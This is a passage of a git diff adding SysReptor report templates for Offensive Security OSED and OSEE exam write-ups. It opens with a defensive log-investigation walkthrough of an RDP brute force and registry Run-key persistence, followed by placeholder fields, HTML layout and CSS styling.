"Phase 1" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H" +id = "90a0038a-3649-4a37-8151-06c935a5a15e" + +[[report_preview_data.findings.steps]] +a_step_title = "RDP Brute Force" +b_step_details = """ +The initial indicator of an attack happening was the triggering of a pre-defined threshold rule called “Possible RDP brute force” as shown below. + +![](/assets/name/image-590869.png) + +By looking at how the rule was defined, it is triggered by more than 100 instances of event ID 4625, which is a failed logon. This could align with a brute force attack where the attacker makes use of a user and/or password list. + +When we inspect some of the events that triggered the alert, as shown below, we notice that the server reporting the events is APPSRV02. + +![](/assets/name/image-127195.png) + +Given that an attacker may have attempted to brute force the server, we should search for a subsequent successful log on event to APPSRV02 to determine if they obtained access. + +We do this with the following KQL query: + +event.code : "4624" and NOT user.name : SYSTEM and NOT user.name : DWM-2 + +From this query we find the following event entry: + +![](/assets/name/image-322213.png) + +This shows that the user Peter did a successful logon to APPSRV02 shortly after the suspected brute force attack. The source IP of the logon event was 192.168.67.69 which means its not a local logon, but remotely. + +At this point we have a strong suspicion that the account with the username Peter was compromised and a malicious actor obtained access to APPSRV02 coming from the IP address 192.168.67.69. We should escalate this to an incident and contact the user to verify whether this was a legitimate logon. +""" + +[[report_preview_data.findings.steps]] +a_step_title = "Persistence" +b_step_details = """ +After suspicion of a compromise, additional investigation should be performed. One area is looking for persistence and a common way attackers employ is through the registry. + +To try and determine if this happed, we can use the KQL query: + +process.name : "reg.exe" +As a result, we find the following event: + +![](/assets/name/image-781171.png) + +This shows that a registry change was performed. An entry for the Run key was added. The Run registry key is used when a user logs on to the computer and thus is often used for persistence. + +In particular we notice that the file “C:\\Windows\\System32\\update.exe” will be executed when a user logs on to APPSRV02. + +We should escalate this to investigate what the file update.exe is. + +""" + +[[report_preview_data.findings.steps]] +a_step_title = "Summary" +b_step_details = "In this phase we have strong suspicions that a malicious actor performed a brute force attack against APPSRV02 and managed to compromise the user account with the username “Peter”. Additionally, we suspect that persistence was set up through a Run key in the registry to execute the file “C:\\Windows\\System32\\update.exe”." + +[[report_preview_data.findings]] +title = "Phase 2" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H" +id = "8a39146e-3b2c-4d93-b1d7-9f604092fae4" + +[[report_preview_data.findings.steps]] +a_step_title = "TODO step title" +b_step_details = "TODO step details" + +[[report_preview_data.findings]] +title = "Phase 3" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H" +id = "7d3e1727-5993-44b8-b06c-89e97c3d35c0" + +[[report_preview_data.findings.steps]] +a_step_title = "TODO step title" +b_step_details = "TODO step details" + +[[report_preview_data.findings]] +title = "Phase 4" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" +id = "489071b1-0a42-47ca-aa31-0b3f7e5260cd" + +[[report_preview_data.findings.steps]] +a_step_title = "TODO step title" +b_step_details = "TODO step details" + +[[report_preview_data.findings]] +title = "Phase 5" +cvss = "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L" +id = "cab9e74f-4735-4665-ad2f-f9a05ca84870" + +[[report_preview_data.findings.steps]] +a_step_title = "TODO step title" +b_step_details = "TODO step details" + +[[report_preview_data.findings]] +title = "Phase 6" +cvss = "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" +id = "cba6456f-02f1-4ce0-9b1e-88f8bca06430" + +[[report_preview_data.findings.steps]] +a_step_title = "TODO step title" +b_step_details = "TODO step details" + +[[report_preview_data.findings]] +title = "Phase 7" +cvss = "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" +id = "9e79526d-1c15-4eaa-8335-490e895053b0" + +[[report_preview_data.findings.steps]] +a_step_title = "TODO step title" +b_step_details = "TODO step details" + +[[report_preview_data.findings]] +title = "Phase 8" +cvss = "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N" +id = "9fb08d0f-f4f7-469c-9423-87bc6e6b25de" + +[[report_preview_data.findings.steps]] +a_step_title = "TODO step title" +b_step_details = "TODO step details" + +[[report_preview_data.findings]] +title = "Phase 9" +cvss = "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N" +id = "81d6959d-f7e7-4cab-a0e5-484107a4a534" + +[[report_preview_data.findings.steps]] +a_step_title = "TODO step title" +b_step_details = "TODO step details" + +[[report_preview_data.findings]] +title = "Phase 10" +cvss = "n/a" +id = "2a5fd063-334a-4158-9ff9-a4735f556c51" + +[[report_preview_data.findings.steps]] +a_step_title = "TODO step title" +b_step_details = "TODO step details" + +[[assets]] +id = "adc2295d-5fe1-419b-a767-f277437ed91f" +name = "LICENSE" + +[[assets]] +id = "e84943a8-5de0-47ac-b308-4a5854156b45" +name = "image-916547.png" + +[[assets]] +id = "a31b6a77-cf79-4539-8a9a-f49f09c2f109" +name = "image-781171.png" + +[[assets]] +id = "5abf3a1c-641f-4742-93bf-5763590d8b5b" +name = "image-152717.png" + +[[assets]] +id = "89ea6aec-d546-43a9-9ce2-bb81e5aa6281" +name = "image-322213.png" + +[[assets]] +id = "1c12c44d-11f3-4bd4-ad4f-79e6d9e5668c" +name = "image-608270.png" + +[[assets]] +id = "b67b4f0a-d754-4bca-909d-376ee1751ab1" +name = "image-127195.png" + +[[assets]] +id = "b42f7152-07e4-4614-9786-90a8756fcb59" +name = "image-590869.png" + +[[assets]] +id = "b3e1a3b9-1c2e-4449-beb5-1282b40a03fe" +name = "image.png" diff --git a/demo_data/offsec-designs/osed-assets/LICENSE b/demo_data/offsec-designs/osed-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/offsec-designs/osed-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/offsec-designs/osed.toml b/demo_data/offsec-designs/osed.toml new file mode 100644 index 0000000..f2cd09b --- /dev/null +++ b/demo_data/offsec-designs/osed.toml @@ -0,0 +1,604 @@ +format = "projecttypes/v1" +id = "650eba7d-2ae4-4646-9125-fcd597af5809" +name = "OSED Exam Report v1.1" +language = "en-US" +finding_field_order = [ + "title", + "proof", + "initial_analysis", + "application_analysis", + "vulnerability_discovery", + "exploit_creation", + "screenshots", + "cvss", +] +report_template = """ + + +
{{ report.osid }}
+ + +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+
+ + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + # Offensive Security OSED Exam Documentation {.in-toc.numbered} + The Offensive Security OSED exam documentation contains all efforts that were conducted in order to pass the Offensive Security Exploit Developer exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has the technical knowledge required to pass the qualifications for the Offensive Security Exploit Developer certification. + + ## Objective {.in-toc.numbered} + The objective of this exam is to solve three given assignments as described in the control panel. The student is tasked with following a methodical approach in analyzing and solving the assignments. The exam report is meant to be a writeup of the steps taken to solve the assignment, including any analysis performed and code written. + + An example page has already been created for you at the latter portions of this document that should give you ample information on what is expected to pass this exam. Use the sample report as a guideline to get you through the reporting, while removing any headlines that are not relevant to a specific assignment. + + ## Requirements {.in-toc .numbered} + The student will be required to fill out this penetration testing report fully and to include the following sections: + * High-Level summary of assignment solutions. + * Methodology walkthrough and detailed outline of steps taken through analysis and all written code. + * Each finding with included screenshots, walkthrough, sample code or reference. + * Screenshot of proof.txt. + + +
+

High-Level Summary

+ + +
+ +
+

Assignments

+
+

{{ finding.title }}

+
+

Proof.txt

+ +
+
+

Initial Analysis

+ +
+ +
+

Application Analysis

+ +
+ +
+

Vulnerability Discovery

+ +
+ +
+

Exploit Creation

+ +
+ +
+

Screenshots

+ +
+ +
+
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-cover-page-bg: #3dc6a4; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: var(--color-cover-page-bg); +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "OSED Exam Documentation" +required = true +spellcheck = true + +[report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[report_fields.lastname] +type = "string" +label = "Lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[report_fields.firstname] +type = "string" +label = "Firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO This section is placed for any additional items that were not mentioned in the overall report." +required = true + +[report_fields.highlevel_summary] +type = "markdown" +label = "High-Level Summary" +origin = "custom" +default = "TODO A brief description of the assignments that were solved, including the overall exploitation steps." +required = true + +[[report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[report_sections]] +id = "highlevel_summary" +label = "High-Level Summary" +fields = [ + "highlevel_summary", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Assignment" +origin = "core" +default = "TODO Assignment Name" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS (not required)" +origin = "core" +default = "n/a" +required = false + +[finding_fields.proof] +type = "markdown" +label = "Proof.txt" +origin = "custom" +default = "TODO Provide the contents of proof.txt." +required = true + +[finding_fields.screenshots] +type = "markdown" +label = "Screenshots" +origin = "custom" +default = """ +TODO The exam control panel contains a section available to submit your proof files. The contents of the proof.txt files obtained from your exam machines must be submitted in the control panel be-fore your exam has ended. Note that the control panel will not indicate whether the submitted proof is correct or not. + +Each proof.txt found must be shown in a screenshot that includes the contents of the file, as well as the IP address of the target by using ipconfig. + +""" +required = true + +[finding_fields.exploit_creation] +type = "markdown" +label = "Exploit Creation" +origin = "custom" +default = "TODO Provide a description of steps to create the exploit, this includes how to combine vulnerabilities, how to bypass DEP and how to write any custom shellcode. At the end of this section the full exploit code should be developed while an explanation of each step should be performed." +required = true + +[finding_fields.initial_analysis] +type = "markdown" +label = "Initial Analysis" +origin = "custom" +default = "Todo Provide relevant techniques and methods used to perform enumeration of the application, including network ports, security mitigations etc. The steps taken should be reproducible and easy to understand. Include any custom code or references to public tools." +required = true + +[finding_fields.application_analysis] +type = "markdown" +label = "Application Analysis" +origin = "custom" +default = """ +TODO Provide a description of the analysis performed against the application, this includes both dynamic and static analysis. + +The analysis should include any reverse engineering performed to understand network protocols or file formats as well as how the application may be triggered to dispatch available commands. + +""" +required = true + +[finding_fields.vulnerability_discovery] +type = "markdown" +label = "Vulnerability Discovery" +origin = "custom" +default = """ +TODO Provide relevant analysis steps to locate vulnerabilities inside the application, this includes both results from static analysis and dynamic analysis. + +As part of the documentation, proof of concept Python3 code must be created and explained that triggers the vulnerabilities. This includes both ASLR bypass and memory corruption vulnerabilities. + +Only the steps that ended up working are required. + +""" +required = true + +[report_preview_data] +[report_preview_data.report] +title = "OSED Exam Documentation" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +report_date = "2022-07-29" +report_version = "1.0" +highlevel_summary = "TODO A brief description of the assignments that were solved, including the overall exploitation steps." +firstname = "John" +lastname = "Doe" + +[[report_preview_data.report.appendix_sections]] +title = "Appendix Title" +content = "Appendix content" + +[[report_preview_data.findings]] +title = "TODO Assignment X" +cvss = "n/a" +id = "af3d5c20-71ef-4bb2-b7af-155a5c375af1" +proof = "TODO Provide the contents of proof.txt." +screenshots = """ +TODO The exam control panel contains a section available to submit your proof files. The contents of the proof.txt files obtained from your exam machines must be submitted in the control panel be-fore your exam has ended. Note that the control panel will not indicate whether the submitted proof is correct or not. + +Each proof.txt found must be shown in a screenshot that includes the contents of the file, as well as the IP address of the target by using ipconfig. + +""" +exploit_creation = "TODO Provide a description of steps to create the exploit, this includes how to combine vulnerabilities, how to bypass DEP and how to write any custom shellcode. At the end of this section the full exploit code should be developed while an explanation of each step should be performed." +initial_analysis = "Todo Provide relevant techniques and methods used to perform enumeration of the application, including network ports, security mitigations etc. The steps taken should be reproducible and easy to understand. Include any custom code or references to public tools." +application_analysis = """ +TODO Provide a description of the analysis performed against the application, this includes both dynamic and static analysis. + +The analysis should include any reverse engineering performed to understand network protocols or file formats as well as how the application may be triggered to dispatch available commands. + +""" +vulnerability_discovery = """ +TODO Provide relevant analysis steps to locate vulnerabilities inside the application, this includes both results from static analysis and dynamic analysis. + +As part of the documentation, proof of concept Python3 code must be created and explained that triggers the vulnerabilities. This includes both ASLR bypass and memory corruption vulnerabilities. + +Only the steps that ended up working are required. + +""" + +[[assets]] +id = "eddcfd32-4595-4968-a41e-80f624bbe457" +name = "LICENSE" diff --git a/demo_data/offsec-designs/osee-assets/LICENSE b/demo_data/offsec-designs/osee-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/offsec-designs/osee-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/demo_data/offsec-designs/osee.toml b/demo_data/offsec-designs/osee.toml new file mode 100644 index 0000000..6536799 --- /dev/null +++ b/demo_data/offsec-designs/osee.toml @@ -0,0 +1,532 @@ +format = "projecttypes/v1" +id = "779cbbda-c7b1-4deb-9d21-571b3ac72f6f" +name = "OSEE Exam Report v1.1" +language = "en-US" +finding_field_order = [ + "title", + "proof", + "ropchain", + "poc", + "screenshots", + "steps", + "cvss", +] +report_template = """ + + +
{{ report.osid }}
+ + +
+
+
+

Offensive Security

+

{{ report.title }}

+
+ +
+

+ OSID: {{ report.osid }}
+ {{ report.mail }}
+

+

+ {{ formatDate(report.report_date, 'long') }}
+ v{{ report.report_version }} +

+
+
+ + + + +

Table of Contents

+
    +
  • + +
  • +
+ +
+ + + + # Offensive Security OSEE Exam Documentation {.in-toc.numbered} + The Offensive Security OSEE exam documentation contains all efforts that were conducted in order to pass the Offensive Security Exploitation Expert exam. This report will be graded from a standpoint of correctness and fullness to all aspects of the exam. The purpose of this report is to ensure that the student has the technical knowledge required to pass the qualifications for the Offensive Security Exploitation Expert certification. + + The student will be required to fill out this exam documentation fully and to include the following sections: + * Methodology walkthrough and detailed outline of steps taken. + * Each finding with included screenshots, walkthrough, sample code, and proof.txt if applicable. + * Each finding with included screenshots, walkthrough, sample code, and proof.txt if ap-plicable. + * Any additional items that were not included. + + + +
+

Findings

+
+

{{ finding.title }}

+
+

Local.txt/Proof.txt

+ +
+
+

{{ vulnerability.reference}}

+ +
+ +
+

PoC Code

+ +
+ +
+

Screenshots

+ +
+ +
+

Steps

+ +
+ +
+
+ +
+

Appendix

+ +
+

{{ appendix_section.title }}

+ +
+ +
+ +
+
+ End of Report
+
+
+ This report was rendered
+ by SysReptor with
+
+
+
+""" +report_styles = """ +@import "/assets/global/base.css"; + +/* Define variables */ +:root { + --color-risk-critical: #E83221; + --color-risk-high: #FF9300; + --color-risk-medium: #FFDA00; + --color-risk-low: #4285F5; + --color-risk-info: #00AE51; + + --color-cover-page-bg: #f1c232; +} + +/* Font settings */ +html { + font-family: "Noto Sans", sans-serif; + font-size: 10pt; +} + + +/* Global styles */ +@page { + size: A4 portrait; + margin: 35mm 20mm 25mm 20mm; +} + +a { + font-style: italic; + text-decoration: none; + color: inherit; +} + +pre code { + border: 1px solid black; + padding: 0.2em !important; +} +code { + background-color: rgb(221, 221, 221); +} + +th { + background-color: #ABABAB; + font-weight: bold; +} +tr.table-row-link td { + padding: 0; +} +tr.table-row-link td a { + display: block; + padding: 0.3em; + color: inherit; + text-decoration: none; + font-style: inherit; +} +.table-key { + background-color: #ABABAB; +} + + +/* Classes for risk colors */ +.risk-critical { color: var(--color-risk-critical) !important; font-weight: bold; } +.risk-high { color: var(--color-risk-high) !important; font-weight: bold; } +.risk-medium { color: var(--color-risk-medium) !important; font-weight: bold; } +.risk-low { color: var(--color-risk-low) !important; font-weight: bold; } +.risk-info { color: var(--color-risk-info) !important; font-weight: bold; } + +.risk-bg-critical { background-color: var(--color-risk-critical) !important; color: white !important; } +.risk-bg-high { background-color: var(--color-risk-high) !important; } +.risk-bg-medium { background-color: var(--color-risk-medium) !important; } +.risk-bg-low { background-color: var(--color-risk-low) !important; } +.risk-bg-info { background-color: var(--color-risk-info) !important; } + +/* Helper class for referencing page number */ +.ref-page::before { + content: "" !important; +} +.ref-page::after { + content: target-counter(attr(href), page) !important; +} +.ref-page .ref-title { + display: none !important; +} + +/* Table in finding chapters */ +.finding-heading .table-key { + height: 3em; + width: 10em; +} + + +.end-of-report { + text-align:center; + font-style:italic; + margin-top:70px; + line-height:1.7; +} + + + + + +/* #region footer */ +@page { + @bottom-left { content: element(footer-left); } + @bottom-center { content: element(footer-center); } + @bottom-right-corner { content: counter(page); } +} +#footer #footer-left { position: running(footer-left); } +#footer #footer-center { position: running(footer-center); } +/* #endregion footer */ + +/* #region watermark */ +#watermark-osid { + position: fixed; + top: 9cm; + left: 1cm; + transform: rotate(-45deg); + font-size: 90pt; + text-transform: uppercase; + opacity: 0.2; +} +/* #endregion watermark */ + +/* #region page-cover */ +@page :first { + /* Footer on the cover page */ + @bottom-right-corner { + content: ""; + } + @bottom-right { + /* Page number */ + content: counter(page); + font-size: 9pt; + color: white + } + @bottom-left { + content: "Confidential"; + text-transform: uppercase; + font-style: italic; + color: white; + } + /* Pentest title should not appear on cover page */ + @bottom-center { + content: ''; + } +} +#page-cover-background{ + position: absolute; + margin-top: -35mm; + margin-left: -20mm; + width: 210mm; + height: 297mm; + background-color: var(--color-cover-page-bg); +} +/* Title page elements */ +#page-cover-title { + position: absolute; + top: 20mm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-title h1 { + font-size: 32pt; +} +#page-cover-title h2 { + font-size: 24pt; +} +#page-cover-student { + position: absolute; + top: 11cm; + left: 0; + width: 14cm; + color: #ffffff; +} +#page-cover-osid { + font-size: 14pt; +} +#page-cover-meta { + line-height: 2em; +} +/* #endregion page-cover */ + +/* #region toc */ +#toc li { + list-style: none; + margin: 0; + padding: 0; +} +#toc .ref::before { + padding-right: 0.5em; +} +#toc .ref::after { + content: " " leader(".") " " target-counter(attr(href), page); +} +#toc .toc-level1 { + font-size: 1.5rem; + font-weight: bold; + margin-top: 0.8rem; +} +#toc .toc-level2 { + font-size: 1.2rem; + font-weight: bold; + margin-top: 0.5rem; + margin-left: 2rem; +} +#toc .toc-level3 { + font-size: 1rem; + margin-top: 0.4rem; + margin-left: 4rem; +} +#toc .toc-level4 { + font-size: 1rem; + margin-top: 0; + margin-left: 6rem; +} +/* #endregion toc */ +""" + +[report_fields] +[report_fields.title] +type = "string" +label = "Title" +origin = "core" +default = "OSEE Exam Documentation" +required = true +spellcheck = true + +[report_fields.mail] +type = "string" +label = "Mail" +origin = "custom" +default = "student@example.com" +required = true +spellcheck = false + +[report_fields.osid] +type = "string" +label = "OSID" +origin = "custom" +default = "XXXXX" +required = true +spellcheck = false + +[report_fields.lastname] +type = "string" +label = "Lastname" +origin = "custom" +default = "Doe" +required = true +spellcheck = false + +[report_fields.firstname] +type = "string" +label = "Firstname" +origin = "custom" +default = "John" +required = true +spellcheck = false + +[report_fields.watermark] +type = "boolean" +label = "Watermark" +origin = "custom" +default = false + +[report_fields.report_date] +type = "date" +label = "Report Date" +origin = "custom" +required = true + +[report_fields.report_version] +type = "string" +label = "Report Version" +origin = "custom" +default = "1.0" +required = true +spellcheck = false + +[report_fields.appendix_sections] +type = "list" +label = "Appendix" +origin = "custom" +required = true + +[report_fields.appendix_sections.items] +type = "object" +label = "" +origin = "custom" + +[report_fields.appendix_sections.items.properties] +[report_fields.appendix_sections.items.properties.title] +type = "string" +label = "Title" +origin = "custom" +default = "TODO appendix title" +required = true +spellcheck = false + +[report_fields.appendix_sections.items.properties.content] +type = "markdown" +label = "Content" +origin = "custom" +default = "TODO This section is placed for any additional items that were not mentioned in the overall report." +required = true + +[[report_sections]] +id = "Student" +label = "Student" +fields = [ + "firstname", + "lastname", + "osid", + "mail", +] + +[[report_sections]] +id = "other" +label = "Document Control" +fields = [ + "title", + "report_date", + "report_version", + "watermark", +] + +[[report_sections]] +id = "appendix" +label = "Appendix" +fields = [ + "appendix_sections", +] + +[finding_fields] +[finding_fields.title] +type = "string" +label = "Target" +origin = "core" +default = "TODO Target Name" +required = true +spellcheck = true + +[finding_fields.cvss] +type = "cvss" +label = "CVSS (not required)" +origin = "core" +default = "n/a" +required = false + +[finding_fields.poc] +type = "markdown" +label = "PoC Code" +origin = "custom" +default = "TODO Provide the final proof of concept code used to gain access to the server." +required = true + +[finding_fields.proof] +type = "markdown" +label = "Proof.txt" +origin = "custom" +default = "TODO Provide the contents of proof.txt" +required = true + +[finding_fields.steps] +type = "markdown" +label = "Steps" +origin = "custom" +default = "TODO Provide a detailed account of your methodology in creating the exploit. The steps taken should be able to be easily followed and reproducible if necessary. " +required = true + +[finding_fields.ropchain] +type = "markdown" +label = "ROP Chain" +origin = "custom" +default = "TODO Provide the ASM ROP chains used in the exploit with a brief explanation for each gadget." +required = true + +[finding_fields.screenshots] +type = "markdown" +label = "Screenshots" +origin = "custom" +default = "TODO Provide a screenshot of the ipconfig command and the contents of proof.txt." +required = true + +[report_preview_data] +[report_preview_data.report] +title = "OSEE Exam Documentation" +mail = "student@example.com" +osid = "OS-XXXXX" +watermark = true +report_date = "2022-07-29" +report_version = "1.0" +firstname = "John" +lastname = "Doe" + +[[report_preview_data.report.appendix_sections]] +title = "Appendix Title" +content = "Appendix content" + +[[report_preview_data.findings]] +title = "192.168.X.X " +cvss = "n/a" +id = "a48695e2-2e6d-4f62-aa98-d3603d0c81eb" +poc = "TODO Provide the final proof of concept code used to gain access to the server." +proof = "TODO Provide the contents of proof.txt" +steps = "TODO Provide a detailed account of your methodology in creating the exploit. The steps taken should be able to be easily followed and reproducible if necessary. " +ropchain = "TODO Provide the ASM ROP chains used in the exploit with a brief explanation for each gadget." +screenshots = "TODO Provide a screenshot of the ipconfig command and the contents of proof.txt." + +[[assets]] +id = "44f2c88c-11bb-45a8-a94c-95723b19529b" +name = "LICENSE" diff --git a/demo_data/offsec-designs/osep-assets/LICENSE b/demo_data/offsec-designs/osep-assets/LICENSE new file mode 100644 index 0000000..ae80ae2 --- /dev/null +++ b/demo_data/offsec-designs/osep-assets/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2023 SysReptor Developers + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN 